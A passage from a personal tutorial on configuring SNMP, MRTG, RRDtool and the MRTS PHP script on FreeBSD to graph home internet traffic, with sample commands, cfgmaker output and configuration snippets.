OK, next step is to start the services, i.e. snmp and mrtg. You can do this via the start scripts in

/usr/local/etc/rc.d/

Speaking of start-scripts, make one for MRTG (mrtg.sh) if there is non in the directory, we’ll need it later. Of course, you only have to do this step, if the installation of MRTG does not have put an autostart script itsself into /usr/local/etc/rc.d/. When I installed it, this was not the case so I had to make my own.

#!/bin/sh
/usr/local/bin/mrtg --logging=/var/log/mrtg.log --pid-file=/var/run/mrtg.pid /etc/mrtg.cfg

Now start snmpd (e.g. ‘/usr/local/etc/rc.d/snmpd.sh start’). Check if the processess are running!
PS: If you are using one of the lastest FreeBSD Releases (5.x and up) you are advised to start the deamons via /etc/rc.conf at boot-time. Consult some other Information source on how to use the rc-scripts.

• Configuration of MRTG

OK, snmpd is running, let’s configure MRTG. The binaries should be localted in /usr/local/bin. The “\” in the following command means, that this should be one line. Type

cfgmaker --global 'WorkDir: /usr/home/www/stats' --global 'Options[_]: growright' \
--output /etc/mrtg.cfg community@router.abc.xyz

where WorkDir is the directory, where the images and html pages should be placed (Note: Later on we will have no images and htmlpages in that directory, but one php-script (MRTS) and some *.rrd files containing the RRDtool data). It has to be visible to a webbrowser, of course. You can play with the arguments, this one should be the best for the first time, for detailed documentation check the website or your man-pages. output is the directory, where your config file will be placed. Replace community@router.abc.xyz with your specification, i.e. public@localhost. This should test your devices and have an output like this:

--base: Get Device Info on public@localhost:
--base: Vendor Id:
--base: Populating confcache
--snpo: confcache public@localhost: Descr rl0 --> 1
--snpo: confcache public@localhost: Descr lp0 --> 2
--snpo: confcache public@localhost: Descr ed1 --> 3
--snpo: confcache public@localhost: Descr lo0 --> 4
--snpo: confcache public@localhost: Descr tun0 --> 5
--snpo: confcache public@localhost: Ip 127.0.0.1 --> 4
--snpo: confcache public@localhost: Ip 192.168.100.100 --> 1
--snpo: confcache public@localhost: Ip 213.23.58.244 --> 5 [It's a dynamic IP, just for your notice ]
--snpo: confcache public@localhost: Type 6 --> 1
--snpo: confcache public@localhost: Type 34 --> 2
--snpo: confcache public@localhost: Type 6 --> 3 (duplicate)
--snpo: confcache public@localhost: Type 24 --> 4
--snpo: confcache public@localhost: Type 23 --> 5
--base: Get Interface Info
--base: Walking ifIndex
--base: Walking ifType
--base: Walking ifSpeed
--base: Walking ifAdminStatus
--base: Walking ifOperStatus
--base: Writing /etc/mrtg.cfg

If it does not do something similar like this, you did something wrong in configuring snmpd or snmpd is not running. So take a look at the output. What do you want to log? I wanted to log my internet-traffic, so i had to take device number 5 (device 4, i.e., is software-loopback, device 1 is internal traffic in your LAN). Open your newly configured /etc/mrtg.cfg and check it out. It needs some reconfiguration for our needs. First lines without a comment should be

WorkDir: /usr/home/www/stats/
Options[_]: growright
Logformat: rrdtool
RunAsDaemon: Yes
Interval: 5
PathAdd: /usr/local/bin/
IconDir: http://my.url.com/stats/icons/

I really suggest to read http://people.ee.ethz.ch/~oetiker/webtools/mrtg/reference.html for more and detailed information, though i am going to explain the commands above.
You already know the first two lines. The third one is very important. Without it, MRTG would create the images itsself without using RRDtool. But i like RRDtool images better Furthermore you would have to do a cronjob for MRTG AND indexmaker, to create your corresponding html-files as well. With the Logformat command MRTG will save all its data in one file called ##device##.rrd where ##device## is i.e. localhost. Thanks to that file, we can use RRDtool to evaluate our graphs. RunAsDaemon is a very nice feature for avoiding a cronjob. After starting MRTG, it is being daemonized and not launched repeatedly (as it would have been with cron). MRTG will be active every 5 minutes. PathAdd is not always needed, but it can’t harm. It’s the path to your RRDtool binary and IconDir is the directory the icons are in, that came with the installation of MRTG (look for the icons in /usr/local/share/mrtg/) After these commands your devices are being listet. Comment those out that you do not want to log. I just wanted to log device #5. Should look something like this:

### Interface 5 >> Descr: 'tun0' | Name: '' | Ip: '213.23.58.171' | Eth: '' ###

Target[localhost_5]: 5:public@localhost:
SetEnv[localhost_5]: MRTG_INT_IP="213.23.58.171" MRTG_INT_DESCR="tun0"
MaxBytes[localhost_5]: 750000
Title[localhost_5]: Traffic Analysis
PageTop[localhost_5]: <H1>Internet Traffic Analysis</H1>
<TABLE>
<TR><TD>System:</TD> <TD>FreeBSD 6-STABLE in Bjou's Home in Karlsruhe City</TD></TR>
<TR><TD>Max Speed:</TD> <TD>Arcor-DSL 6 MBit</TD></TR>
</TABLE>


You are free to alter some values, I deleted some of them within the <TABLE></TABLE> because I didn’t find them very interesting. It will not affect your MRTS appearance anyway, but your MRTG output, if you want to make a standalone MRTG installation or if you want to use an “on-the-fly”-script as mrtg-rrd or 14all.cgi (which I also advise to take a look at, though you don’t need it). Maybe don’t alter anything before really getting started, you will know what you want to alter later, when you see the results (Note again: You won’t actually see the above strings in your MRTS output!). First line is the most important one: 5:public@localhost: 5 is your interface number mentioned above followed by community@router.abc.xyz. Thor Dreier explains on his MRTS website how to get the value for MaxBytes:

“In “MaxBytes” we have set how many bytes the device maximum can transfer:
(100Mbit * 1000000bit/Mbit / 8byte/bit = 12500000byte).”
So as I have a 1.5 MBit bandwidth, we’ll have to set: (6Mbit * 1000000bit/Mbit / 8byte/bit = 750000 byte)

Be sure to read Thor’s MRTS site properly for some additional information I did not mention here (especially if your are a Debian User).
What, you are still here? READ IT NOW!
OK, looks like we configured the mrtg.cfg well, so let’s start MRTG using our script above. You are getting error messages? No problem, this is normal the first time(s) you start MRTG. You maybe want to run MRTG under a certain user (running processes under root is not always the wisest decision) therefore you will need the --user=mrtg_user --group=mrtg_group switches in your mrtg.sh startscript. It could be that there are some problems then, if mrtg_user does not have the rights it needs to access/write certain files. Try yourself, I won’t explain that here.
Having started MRTG, it should say “Daemonizing MRTG …” as a result. Check your logfile and your processes if it was successful.

• Configuration of RRDtool

RRDtool does not really need any further configuration, so I would say, we are almost done. Anyway, check if RRDtool
at least works. You can do this by taking a look at http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/tutorial/rrdtutorial.html
and doing this lesson at least until you got the first results and you are sure, RRDtool works.

• Configuration of MRTS itsself

Now comes the best part, the wonderful MRTS. Download from http://apt-get.dk/mrts/download/

(same files with different extension) and rename to *.php. Open the file and configure the following:


/* The directory where the rrd files are located */
$dir = ‘/usr/home/www/stats’;

/* List all devices that MRTS should’n display, */
$exclude = array(’secret’, ‘topsecret’);

/* RRDtool path – where is the the executable located */
$rrdcommand = ‘/usr/local/bin/rrdtool’;


The first path is exactly the MRTG WorkDir, second one explains itsself, last one is the path to your rrdtool executable. (Note:
rrdtool in the path listed above in not a folder, but the rrdtool binary!)
Well, that’s it. If your Apache is properly configured, give it a try. But first check, that you do not run your script in “safe mode php”.
If you server does this as standard, you have to put something like this in your httpd.conf:


<Directory “/path/to/mrts”>
php_admin_value safe_mode 0
<Directory>




Put the MRTS php script in /usr/home/www/stats/ and surf on it. And….. whoo-hoo, you are done!